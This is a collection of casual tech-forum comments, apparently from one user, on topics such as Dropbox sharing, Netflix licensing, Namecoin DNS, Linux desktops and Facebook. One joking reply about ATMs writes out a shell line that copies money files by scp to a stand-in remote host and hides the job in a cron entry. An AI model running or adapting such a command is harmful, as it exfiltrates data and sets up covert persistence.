Dropbox has no idea that you only intend to share it with yourself, or one other person, and there is no mechanism by which you can ensure that yourself anyway.
Well.... if more than 3 IP addresses retrieve the link, then assume it has been shared with other people.
So I keep my dropbox account synced to my server, my desktop, my laptop, VM at the college computer lab, phone and tablet, that's six potentially unique IP addresses just for me more if I use tor as a vpn at a wifi access point I don't trust. Again people IP addresses do not equal individuals.
Bitcoin is the most valuable but is I were this guy I would do merged mining where you mine several crypto currencies on the same hardware simultaneously.
They took out the the duel pain feature?!?!?! WTF. I keep hearing people say "oh its nice but,..." and they list a feature that the gnome team broke or just removed. Guess I will be sticking with mate for now.
Exactly, why is there no discussion of the first sale doctrine?
The whole question of "why the studios allow physical DVD check-outs from a service like Netflix but do not allow virtual DVD check-outs that would otherwise work in exactly the same way, with Netflix and the studios getting paid the same in each case" is pretty easy to answer: they legally aren't allowed to stop NetFlix, whether or not they'd like to. There's not much point trying to get in their heads, because they don't have a choice.
NetFlix can always just go buy DVDs from Best Buy and lend them to whoever they please. Streams... now streams they have to license and those are subject to the whims of the studios.
Also any discussion of studio policy that assumes they're rational actors is kind of suspect in my view: it's interesting to speculate about their motivations, but they're not very rational. They're pretty clearly irrationally conservative when it comes to distribution and technology.
I wonder... if netflix were to put DVDs in disc drives in a server farm, and put out a program to remotely mount their drives to their customers computers would that count as streaming if they "lent the dvds" over the internet by only allowing one person to mount a given dvd at a time... when the disc was unmounted count it a "return".

And you know Klingon alcohol tolerance..how?
Why do you think toughness equates to alcohol tolerance? oh, right, you have a small mind. Considering Warnog has a flavor so complex it can't be replicated perfectly, AND Klingon have heightened sense compared to humans, it is likely to have less alcohol.
accept in the ds9 episode where O'Brien, Worf, Sisko, and Odo, infiltrat a Klingon ceremony to catch a changing it is mentioned that O'Brian Sisko and Odo would of died of alcohol poisoning if not for an injection they were given to neutralize the alcohol. Also in TNG there is an episode where Worf replicates a Klingon beverage for some refugees they are rescuing after they complain about the federation alcohol being to weak, and it is shown to be much stronger. So the Klingons can metabolize higher amounts of alcohol and thus probably drink more consternated beverages.
In your opinion, is it better than having Oculus VR bought by Microsoft?
"I felt a great disturbance in the Force, as if millions of nerd voices suddenly cried out in terror and were suddenly silenced. I fear something terrible has happened."
Actually Microsoft would have been better as they at least have a use case for it, Microsoft has the xbox and gaming devisions that this would synergize well with where Facebook has no real business use case for this other than Zuckerburg being board. This will probably be dropped when they Mark realizes it is of no use to him will die in a couple of years now.
The only conceivable use I can think of for this and facebook is if facebook decides to become secondlife2.

So where is the gratuitous sex between the Researcher and his mother? It can't be a Heinlein rip off unless there is gratuitous sex somewhere.
I don't think ALL of Heinlein books had gratuitous sex scenes I don't remember one in Sixth Column for example but it has been a while since I read it so I may be mistaken.
Hey Unknown Lamer any word on when we are getting the AMA answers from RMS and Theo Raadt the questions we asked back a month ago and beginning of this month respectively or so ago?
Or I could just apt-get install bind9 and run my own dns server with much less hassle then configuring my host file on ever computer and devise on my network.
Oh please, the USA was far worse than your perceived paranoia about you being censored by some authority outside the USA. Did you know: The US Government seize international domains on the premise of copyright infringement, so yeah, pick your poison. I know which one I'd rather pick and its not the USA option.
Have you paid attentionto the situation in the UK? They are blocking pretty much any site the politicians in power veiw as unsavory and they are one of the more freedom respecting liberal nationsn just wait until China gets a say in what gets the the internet wide BanHammer or the Saudis get to ban any one saying something untasteful about Allah or Mohammad.
I want to use namecoin but it just isn't there yet needs some more work together the rough edges of first and more devs. If they want it to take off what they need to impliment is dns proxy that intersepts the namecoin quries and passes traditional dns through to your dns server of choice.
Sadly that may be the only thing that could fix the US's massive unemployment and economic downturn, WW2 ended the depression after all. But getting into a land war with Russia would not be a fun.
Yes. Whoever lights off a nuke offensively is going to have a shitstorm of retribution from every one else on the planet no metter their reason. Secondly the Russians built the Ukrainian nukes and would probably (one would hope) maintain control over them (you don't want just anyone to be able to point your own A-bombs at you).
Welcome to the slippery slope. First porn for the children, then illegal torrents, now what ever they feel like banning enjoy your fascism, And remember big brother GCHQ is watching.
Right. I remember those days. It was back when everyone was on Yahoo!What made Yahoo! chat rooms work was that you could go there and find people
I really doubt that. Newsgroups are as old as the internet itself. And talkd and IRC are also quite old. Waaaay before Yahoo.
What makes Facebook work is that is where everyone is now.
True.
This is called "network effect"
This is EXACTLY what you want from a social network. Or you'd have skype, google talk and the remaining crap to talk with people. A niche network - the shit G+ was catering to when it was launched (by arrogant nerds for nerds) - will not fly. Internet IS NOT for the elite. And Facebook understands that.
No instead facebook became the site for you grandma go and comment on your every post between photo stalking your account, your aunt with a flashgame obsession to invites you to every zinga game and your brother in law to repost every out their political wack job theory the planet has ever heard of. Making the web accessible is good having single person everyone you have ever met in one place is a very bad thing. we need multiple places to meet different people. Your not going to hang out with grandam at the night club and you not going to the local maker space with the people you shared a lit class in high school with.

I have been using MATE on ubuntu 12.04 its pretty stable and usable but lacking polish. Been a couple of years since I looked at Cinnamon.

I saw it posted to hacker news earlier today so they may have /.ed it
I wonder what happens if I key in the following into these ATMs:-
echo "ls -l /all_users/*.money | while read x; do scp $x yours@truly.com:/uncrackable/vault; done" > /root/harmless_script.sh
20 0 * * * /root/harmless_script.sh 2>/dev/null > crontab
if you have shell access to your atm their are much larger security issues then choice of OS.

The answer is Namecoin.
I want to use namecoin but it just isn't there yet needs some more work together the rough edges of first and more devs. If they want it to take off what they need to impliment is dns proxy that intersepts the namecoin quries and passes traditional dns through to your dns server of choice.

There are reasons that "1984" and "V for Vigilante"were set there, and that London has the highest percentage of government mandated CCTV/capita.
I believe that would be V for Vendetta.

Gates is a sociopath in the same way lex luthor is a sociopath, he is someone who does do many good things but is still evil.
what is almost as hilarious is that 'Soulskill' posted the summary without a HINT of irony!
